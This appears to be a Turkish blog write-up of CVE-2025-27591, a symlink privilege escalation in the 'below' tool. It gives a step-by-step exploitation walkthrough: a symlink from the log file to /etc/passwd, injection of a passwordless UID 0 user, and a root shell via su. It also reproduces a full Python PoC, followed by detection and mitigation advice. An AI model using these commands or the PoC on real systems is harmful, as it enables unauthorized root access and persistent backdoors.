CVE: Writable Symlink in Below CVE-2025-27591
CVE-2025-27591, Below aracında yerel kullanıcıların symlink ile root yetkisi kazanmasına neden olan bir yetki yükseltme açığıdır.
Bu yazımda, kısa bir süre önce yayınlanan below
adlı araçta bulunan ve yerel kullanıcıların symlink ile root yetkisi kazanmasına neden olan CVE-2025-27591
zafiyetini inceleyeceğiz. İnternette bu zafiyet hakkında yazılmış detaylı bir makale bulamadığım için, bu yazıyı yazmaya karar verdim.
Nasıl Çalışıyor?
CVE-2025-27591, Linux sistemlerde sistem performans verilerini kaydetmek ve görüntülemek için kullanılan below
adlı araçta tespit edilen bir yerel yetki yükseltme zafiyetidir. Zafiyetin temel sebebi, below tarafından oluşturulan /var/log/below
dizininin herkes tarafından yazılabilir (777) olarak ayarlanmasıdır. Linux Dosya Yazma Hakları İçin
Bir saldırgan, bu dizine bir sembolik bağlantı yani symlink oluşturarak, below aracının hatalı log işlemleri sırasında /etc/passwd
gibi sistem dosyalarını kendi içeriğiyle üzerine yazmasını sağlayabilir. Böylece, sisteme şifresiz root erişimi olan sahte bir kullanıcıyı ekleyebilir..
Bu dosya sayesinde, saldırgan sistemde root haklarıyla bir shell başlatılabilir.
Etkilenen Versiyonlar
- Tüm versiyonlar etkilenmektedir. < v0.9.0
- v0.9.0 ve sonraki sürümler ise bu zafiyetten etkilenmemektedir.
Projenin orijinal reposu : https://github.com/facebookincubator/below
Zafiyetin Etkisi
Saldırgan sistemde sadece sınırlı kullanıcı haklarına sahip olsa bile, sudo yetkisiyle below çalıştırabiliyorsa root yetkisi elde edebilir.
/etc/passwd
gibi kritik dosyalar değiştirilebilir. Saldırgan passwd dosyası üzerinde yüksek yetkili sahte kullanıcılar oluşturulabilir ayrı olarak mevcut kullanıcıların şifreleri değiştirilebilir yada şifre alanını silerek şifresiz kullanıcı geçişleri yapabilir.Sistemin bütünlüğü bozulur, kalıcı backdoor bırakabilir.
Detaylı Teknik Açıklama
Zafiyetin kökenini below aracının log dosyasına verdiği izinlerden kaynaklanmaktadır.
below çalışırken
/var/log/below
dizinini otomatik olarak oluşturur ve bu dizine herkese yazma izni verir. ( chmod 777 )Bu dizin altında
error_root.log
adlı bir log dosyası oluşturulur. Bu dosya da 666 yani herkese okuma ve yazma izinleriyle açılır.- Saldırgan, error_root.log yerine
/etc/passwd
dosyasına sembolik bağ oluşturur:1
ln -s /etc/passwd /var/log/below/error_root.log
Ardından below komutu hata verdiğinde, bu hatayı error_root.log‘a (yani aslında
/etc/passwd
) yazar. Böylece, saldırgan önceden hazırladığı bir kullanıcı satırını/etc/passwd
dosyasına eklemiş olur.- Yeni kullanıcı, UID ve GID olarak 0 ayarlanarak sistemde root yetkili bir kullanıcı olur.
Nasıl Sömürülür?
Zafiyetli bir makine üzerinde sömürü yöntemlerini aşağıdaki gibi gerçekleştireceğiz:
İlk olarak sistemde ne tür haklarımız olduğunu kontrol edeceğiz bunun için sudo -l komutunu alıştıracağız:
1
2
3
4
5
6
jacob@censored:~$ sudo -l
Matching Defaults entries for jacob on censored:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jacob may run the following commands on censored:
(ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
1
2
jacob@censored:~$ ls -ld /var/log/below
drwxrwxrwx 3 root root 4096 Jul 18 16:35 /var/log/below
Sistem üzerinde below aracını çalıştırma yetkimiz olduğunu görüyoruz. Şimdi bu aracı kullanarak zafiyeti sömüreceğiz:
İlk olarak mevcut error_root.log dosyasını siliyoruz.
1
jacob@censored:~$ rm -f /var/log/below/error_root.log
Ardından /etc/passwd
dosyasına sembolik link oluşturuyoruz:
1
jacob@censored:~$ ln -s /etc/passwd /var/log/below/error_root.log
1
2
jacob@censored:~$ ls -la /var/log/below/error_root.log
lrwxrwxrwx 1 jacob jacob 11 Jul 18 16:52 /var/log/below/error_root.log -> /etc/passwd
Geçici dosyamıza şifresiz bir root kullanıcısı ekliyoruz:
1
jacob@ce:~$ echo 'b1lal::0:0:b1lal:/root:/bin/bash' > /tmp/below
Bu satırın yapısı aşaığıdaki gibidir:
1
kullanıcı_adı:parola:UID:GID:açıklama:ana_dizin:shell
1
2
jacob@censored:~$ cat /tmp/below
b1lal::0:0:b1lal:/root:/bin/bash
Şimdi ise önemli bir nokta olan hata tetikleme adımını gerçekleştireceğiz. Bunun içinde aşağıdaki komutu çalıştırıyoruz:
1
jacob@censored:~$ sudo /usr/bin/below record
Şimdi oluşturduğumuz dosyayı below aracını kullanarak error_root.log dosyasına yazacağız:
1
jacob@censored:~$ cp /tmp/below /var/log/below/error_root.log
Son olarak ise oluşturduğumuz kullanıcıyla sisteme giriş yapabiliriz:
1
2
3
jacob@censored:~$ su - b1lal
b1lal@censored:~# id
uid=0(root) gid=0(root) groups=0(root)
Zafiyetin sömürü aşaması bu şekildedir ancak bu işlemleri de otomatikleştirmek için bazı PoC kodları mevcuttur. Bunlardan bir tanesi bu Github Reposudur : CVE-2025-27591-PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#!/usr/bin/env python3
import os
import subprocess
import sys
import pty
BINARY = "/usr/bin/below"
LOG_DIR = "/var/log/below"
TARGET_LOG = f"{LOG_DIR}/error_root.log"
TMP_PAYLOAD = "/tmp/attacker"
MALICIOUS_PASSWD_LINE = "attacker::0:0:attacker:/root:/bin/bash\n"
def check_world_writable(path):
st = os.stat(path)
return bool(st.st_mode & 0o002)
def is_symlink(path):
return os.path.islink(path)
def run_cmd(cmd, show_output=True):
if show_output:
print(f"[+] Running: {cmd}")
try:
return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, text=True)
except subprocess.CalledProcessError as e:
if show_output:
print(f"[-] Command failed: {e.output}")
return None
def check_vulnerability():
print("[*] Checking for CVE-2025-27591 vulnerability...")
if not os.path.exists(LOG_DIR):
print(f"[-] Log directory {LOG_DIR} does not exist.")
return False
if not check_world_writable(LOG_DIR):
print(f"[-] {LOG_DIR} is not world-writable.")
return False
print(f"[+] {LOG_DIR} is world-writable.")
if os.path.exists(TARGET_LOG):
if is_symlink(TARGET_LOG):
print(f"[+] {TARGET_LOG} is already a symlink. Looks exploitable.")
return True
else:
print(f"[!] {TARGET_LOG} is a regular file. Removing it...")
os.remove(TARGET_LOG)
try:
os.symlink("/etc/passwd", TARGET_LOG)
print(f"[+] Symlink created: {TARGET_LOG} -> /etc/passwd")
os.remove(TARGET_LOG)
return True
except Exception as e:
print(f"[-] Failed to create symlink: {e}")
return False
def exploit():
print("[*] Starting exploitation...")
with open(TMP_PAYLOAD, "w") as f:
f.write(MALICIOUS_PASSWD_LINE)
print(f"[+] Wrote malicious passwd line to {TMP_PAYLOAD}")
if os.path.exists(TARGET_LOG):
os.remove(TARGET_LOG)
os.symlink("/etc/passwd", TARGET_LOG)
print(f"[+] Symlink set: {TARGET_LOG} -> /etc/passwd")
print("[*] Executing 'below record' as root to trigger logging...")
try:
subprocess.run(["sudo", BINARY, "record"], timeout=40)
print("[+] 'below record' executed.")
except subprocess.TimeoutExpired:
print("[-] 'below record' timed out (may still have written to the file).")
except Exception as e:
print(f"[-] Failed to execute 'below': {e}")
print("[*] Appending payload into /etc/passwd via symlink...")
try:
with open(TARGET_LOG, "a") as f:
f.write(MALICIOUS_PASSWD_LINE)
print("[+] Payload appended successfully.")
except Exception as e:
print(f"[-] Failed to append payload: {e}")
print("[*] Attempting to switch to root shell via 'su attacker'...")
try:
pty.spawn(["su", "attacker"])
except Exception as e:
print(f"[-] Failed to spawn shell: {e}")
return False
def main():
if not check_vulnerability():
print("[-] Target does not appear vulnerable.")
sys.exit(1)
print("[+] Target is vulnerable.")
if not exploit():
print("[-] Exploitation failed.")
sys.exit(1)
if __name__ == "__main__":
main()
Tespit
- Sistemde
/var/log/below
dizini mevcutsa vedrwxrwxrwx
(777) izinleriyle ayarlanmışsa potansiyel risk altındadır. - sudo
/usr/bin/below
komutuna parola gerekmeden izin verilmişse, saldırı ihtimali daha da artar.
Sembolik link olup olmadığını aşağıdaki iki yöntemden birini kullanarak kontrol edebiliriz:
1
2
3
4
jacob@censored:~$ file /var/log/below/error_root.log
/var/log/below/error_root.log: symbolic link to /etc/passwd
jacob@censored:~$ ls -ld /var/log/below/error_root.log
lrwxrwxrwx 1 jacob jacob 11 Jul 18 22:42 /var/log/below/error_root.log -> /etc/passwd
Bu tarz zafiyetlerin sömürüsünün tespit edilmesi oldukça zor olabilir. Ancak, sistemde beklenmeyen kullanıcıların varlığı veya /etc/passwd
dosyasının beklenmedik şekilde değiştirilmesi gibi belirtiler, bu tür bir zafiyetin sömürülmüş olabileceğini gösterebilir.
Önlem ve Güncelleme
- Kalıcı çözüm uygulamak için below aracını v0.9.0 veya daha yeni bir sürüme güncellemeniz gerekmektedir.
- Geçici olarak bir çözüm olarak da aşağıdaki komutları kullanarak
/var/log/below
dizininin izinlerini kısıtlamamız gerekmetedir:
1
2
chmod 0755 /var/log/below
chown root:root /var/log/below
Ayrıca /etc/sudoers
dosyasında below aracının parolasız çalıştırılmasına izin veren satır varsa kaldırın:
1
(ALL : ALL) NOPASSWD: /usr/bin/below *
Referanslar
- https://www.wiz.io/vulnerability-database/cve/cve-2025-27591
- https://github.com/facebookincubator/below
- https://github.com/advisories/GHSA-9mc5-7qhg-fp3w
- https://www.facebook.com/security/advisories/cve-2025-27591
- https://securityvulnerability.io/vulnerability/CVE-2025-27591
Okuduğunuz için teşekkür ederim.